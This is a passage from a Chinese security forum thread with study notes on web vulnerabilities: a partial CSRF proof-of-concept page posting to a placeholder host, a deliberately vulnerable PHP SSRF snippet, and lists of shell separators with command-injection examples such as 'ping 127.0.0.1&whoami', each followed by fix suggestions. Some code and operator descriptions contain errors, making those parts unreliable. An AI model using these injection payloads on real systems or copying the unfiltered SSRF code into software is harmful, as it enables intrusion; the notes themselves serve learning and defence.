  7. var urls = new Array("http://xxx.com/scrf.php");
  8. var params = new Array("submit=1&username=1&password=1");
  9. function pausecomp(millis)
  10. {
  11.         var date = new Date();
  12.         var curDate = null;
  13.         do { curDate = new Date(); }
  14.         while(CurDate-date < millis);
  15. }
  16. function run(){
  17.         var count = 1;
  18.         var i = 0;
  19.        
  20.         for(i=0;i<count;i++){
  21.                 makeXHR(methods[i],urls[i],params[i]);
  22.                 pausecomp(pauses[i]);
  23.         }
  24. }
  25. var http_request = false;
  26. function makeXHR(method,url,parameters){
  27.         http_request = false;
  28.         if(window.XMLHttpRequest){
  29.                 //mozilla, safari
  30.                 http_request = new XMLHttpRequest();
  31.                 if(http_request.overrideMimeType){
  32.                         http_request.overrideMimeType('text/html');
  33.                 }else if(window.ActiveXObject){
  34.                         //ie
  35.                         try{
  36.                                 http_request = new ActiveXObject("Msxml2.XMLHTTP");
  37.                         }catch(e){}
  38.                 }
  39.         }
  40.         if(!http_request){
  41.                 alert('cannot create XMLHTTP instance');
  42.                 return false;
  43.         }
  44.         //http_request.onreadystatechange = alertContents;
  45.         if(method == 'GET'){
  46.                 if(url.indexOf('?') == -1){
  47.                         url = url+'?'+parameters;
  48.                 }else{
  49.                         url = url+'&'+parameters;
  50.                 }
  51.                 http_request.open(method,url,true);
  52.                 http_request.send("");
  53.         }else if(method == 'POST'){
  54.                 http_request.open(method,url,true);
  55.                 http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  56.                 http_request.setRequestHeader("Content-length",parameters.length);
  57.                 http_request.setRequestHeader("Connection","close");
  58.                 http_request.send("parameters");
  59.         }
  60. }
  61. </script>
  62. </head>
  63. </html>
复制代码
修复建议:

1.验证referer

2.加入随机token


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-18 16:53:24 | 显示全部楼层
ssrf
代码分析:
  1. <?php
  2. function curl($url){
  3.         $ch = curl_init();
  4.         curl_setopt($ch,CURLOPT_URL,$url);
  5.         curl_setopt($ch,CURLOPT_HEADER,0);
  6.         curl_exec($ch);
  7.         curl_close($ch);
  8. }
  9. $url = $_GET['url'];
  10. curl($url);
  11. ?>
复制代码
修复建议:
1.请求端口只能是web端口,且只允许http与https的请求
2.限制不能访问内网ip
3.屏蔽返回详细信息

回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-19 15:50:47 | 显示全部楼层
常用管道符:Windows
  1. |         直接执行后面得语句,如ping www.baidu.com|whoami
  2. ||        如果前面执行得语句执行出错,则执行后面得语句,如ping 2||whoami
  3. &        如果前面的语句为假则执行后面得语句,前面的语句可真可假。ping 127.0.0.1&whoami
  4. &&      如果前面得语句为假则直接出错,不执行后面的语句,前面的语句只能为真。ping 127.0.0.1&whoami
复制代码



linux
  1. ;        执行完前面的再执行后面的。如ping www.baidu.com|whoami
  2. |        显示后面语句的执行结果。如ping www.baidu.com|whoami
  3. ||       如果前面执行的语句执行出错,则执行后面得语句,如ping 2||whoami
  4. &       如果前面的语句为假则执行后面得语句,前面的语句可真可假。ping 127.0.0.1&whoami
  5. &&     如果前面得语句为假则直接出错,不执行后面的语句,前面的语句只能为真。ping 127.0.0.1&whoami
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 16:52 , Processed in 0.016019 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表